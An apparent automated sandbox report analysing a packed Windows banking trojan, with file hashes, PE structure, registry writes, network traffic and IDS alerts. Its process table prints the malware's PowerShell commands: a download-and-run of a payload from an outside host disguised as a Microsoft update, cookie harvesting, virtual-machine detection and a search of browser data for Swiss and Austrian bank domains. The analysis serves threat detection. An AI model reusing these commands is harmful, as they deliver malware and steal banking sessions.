| File name: | unknown.exe |
| Full analysis: | https://app.any.run/tasks/67bdda4f-ae7b-4461-a90b-e0206c1c6e3a |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | April 17, 2021, 16:40:10 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (console) Intel 80386, for MS Windows, UPX compressed |
| MD5: | EE8FC9FE7D9084EFDBF0DA1E6BFE0441 |
| SHA1: | 91AE6817CE34F36D40E994601227EE00D559CDF3 |
| SHA256: | B5DD791BFD89FBFFE93B6F06EEF795FC73065BA6AE041EC57B814D74533DD477 |
| SSDEEP: | 1536:HgPweg0mKIQYUEk1dq9jN3E1pjepQvDGCPenouy8a5:4weZrndMjuBrP+out |
| .exe | | | UPX compressed Win32 Executable (39.3) |
|---|---|---|
| .exe | | | Win32 EXE Yoda's Crypter (38.6) |
| .dll | | | Win32 Dynamic Link Library (generic) (9.5) |
| .exe | | | Win32 Executable (generic) (6.5) |
| .exe | | | Generic Win/DOS Executable (2.9) |
| Subsystem: | Windows command line |
|---|---|
| SubsystemVersion: | 5.1 |
| ImageVersion: | - |
| OSVersion: | 5.1 |
| EntryPoint: | 0x286b0 |
| UninitializedDataSize: | 114688 |
| InitializedDataSize: | 12288 |
| CodeSize: | 53248 |
| LinkerVersion: | 10 |
| PEType: | PE32 |
| TimeStamp: | 2014:10:29 07:41:17+01:00 |
| MachineType: | Intel 386 or later, and compatibles |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
| Compilation Date: | 29-Oct-2014 06:41:17 |
| Detected languages: |
|
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F0 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 29-Oct-2014 06:41:17 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
UPX0 | 0x00001000 | 0x0001C000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
UPX1 | 0x0001D000 | 0x0000D000 | 0x0000C400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.96749 |
.rsrc | 0x0002A000 | 0x00003000 | 0x00002A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.33157 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.79597 | 346 | Latin 1 / Western European | English - United States | RT_MANIFEST |
101 | 1.91924 | 20 | Latin 1 / Western European | German - Germany | RT_GROUP_ICON |
ADVAPI32.dll |
KERNEL32.DLL |
SHELL32.dll |
USER32.dll |
WININET.dll |
urlmon.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 716 | powershell -Command "dir ([system.environment]::GetFolderPath('Cookies')+'\*.txt')|Get-Content >> 'C:\Users\admin\AppData\Local\Temp\rpdiblyt.txt'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | unknown.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1008 | powershell -Command "(Get-Process|Select-String -pattern VBoxService,VBoxTray,Proxifier,prl_cc,prl_tools,vmusrvc,vmsrvc,vmtoolsd).count" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | unknown.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1980 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadData('http://www.easycounter.com/counter.php?rvtrucitmriumtiutr2');" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | unknown.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2068 | "C:\Users\admin\AppData\Local\Temp\unknown.exe" | C:\Users\admin\AppData\Local\Temp\unknown.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2284 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://bg-koeniz-lerbermatt.evbg.ch/images/fiucriutmirxitureutir/n.exe','C:\ProgramData\\Microsoft-KB515709.exe');(New-Object -com Shell.Application).ShellExecute('C:\ProgramData\\Microsoft-KB515709.exe');" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | unknown.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2380 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadData('http://www.easycounter.com/counter.php?yituyitumciyutrymi');" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | unknown.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2628 | powershell -Command "((Select-String -Path 'C:\Users\admin\AppData\Local\Temp\rpdiblyt.txt','C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\\cookies.sqlite','C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Cookies','C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\History' -pattern postfinance.ch,directnet.com,credit-suisse.com,akb.ch,bkb.ch,lukb.ch,zkb.ch,raiffeisendirect.ch,gkb.ch,bekb.ch,zugerkb.ch,bcv.ch,bcge.ch,sparkasse.at,bankaustria.at,raiffeisen.at|group pattern|select name)|Measure-Object).count" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | unknown.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3204 | powershell /? | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | unknown.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3908 | powershell -Command "dir ([system.environment]::GetFolderPath('Cookies')+'\Low\*.txt')|Get-Content >> 'C:\Users\admin\AppData\Local\Temp\rpdiblyt.txt'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | unknown.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| (PID) Process: | (3204) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (716) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2068) unknown.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2068) unknown.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2380) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2380) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2380) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2380) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2380) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2380) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3204 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TJGN6G1MSYT74TIB0HV8.temp | — | |
MD5:— | SHA256:— | |||
| 716 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VJZRWID7EDWNMNU82070.temp | — | |
MD5:— | SHA256:— | |||
| 2380 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JLM4RYH2S5OLRZ2RJIU5.temp | — | |
MD5:— | SHA256:— | |||
| 3908 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RJQKQPFXQUVWDHBFV0ZP.temp | — | |
MD5:— | SHA256:— | |||
| 2628 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WE4O5ZER0J5W0A0SRZ0Z.temp | — | |
MD5:— | SHA256:— | |||
| 1008 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LY1WYXQEN4X4AQKTW7H3.temp | — | |
MD5:— | SHA256:— | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\12W06IZU0HSSZJ9S9FXQ.temp | — | |
MD5:— | SHA256:— | |||
| 1980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\O9SAIUXZ2NAGC4GJL8WF.temp | — | |
MD5:— | SHA256:— | |||
| 2380 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12d25c.TMP | binary | |
MD5:— | SHA256:— | |||
| 3204 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12cf10.TMP | binary | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2380 | powershell.exe | GET | 301 | 52.1.22.171:80 | http://www.easycounter.com/counter.php?yituyitumciyutrymi | US | html | 185 b | malicious |
1980 | powershell.exe | GET | 301 | 52.1.22.171:80 | http://www.easycounter.com/counter.php?rvtrucitmriumtiutr2 | US | html | 185 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2380 | powershell.exe | 52.1.22.171:80 | www.easycounter.com | Amazon.com, Inc. | US | malicious |
2380 | powershell.exe | 52.1.22.171:443 | www.easycounter.com | Amazon.com, Inc. | US | malicious |
1980 | powershell.exe | 52.1.22.171:80 | www.easycounter.com | Amazon.com, Inc. | US | malicious |
1980 | powershell.exe | 52.1.22.171:443 | www.easycounter.com | Amazon.com, Inc. | US | malicious |
2284 | powershell.exe | 78.46.4.171:80 | bg-koeniz-lerbermatt.evbg.ch | Hetzner Online GmbH | DE | malicious |
Domain | IP | Reputation |
|---|---|---|
www.easycounter.com |
| malicious |
bg-koeniz-lerbermatt.evbg.ch |
| malicious |
PID | Process | Class | Message |
|---|---|---|---|
2284 | powershell.exe | A Network Trojan was detected | ET TROJAN Single char EXE direct download likely trojan (multiple families) |
2284 | powershell.exe | Potential Corporate Privacy Violation | AV POLICY HTTP request for .exe file with no User-Agent |
2284 | powershell.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |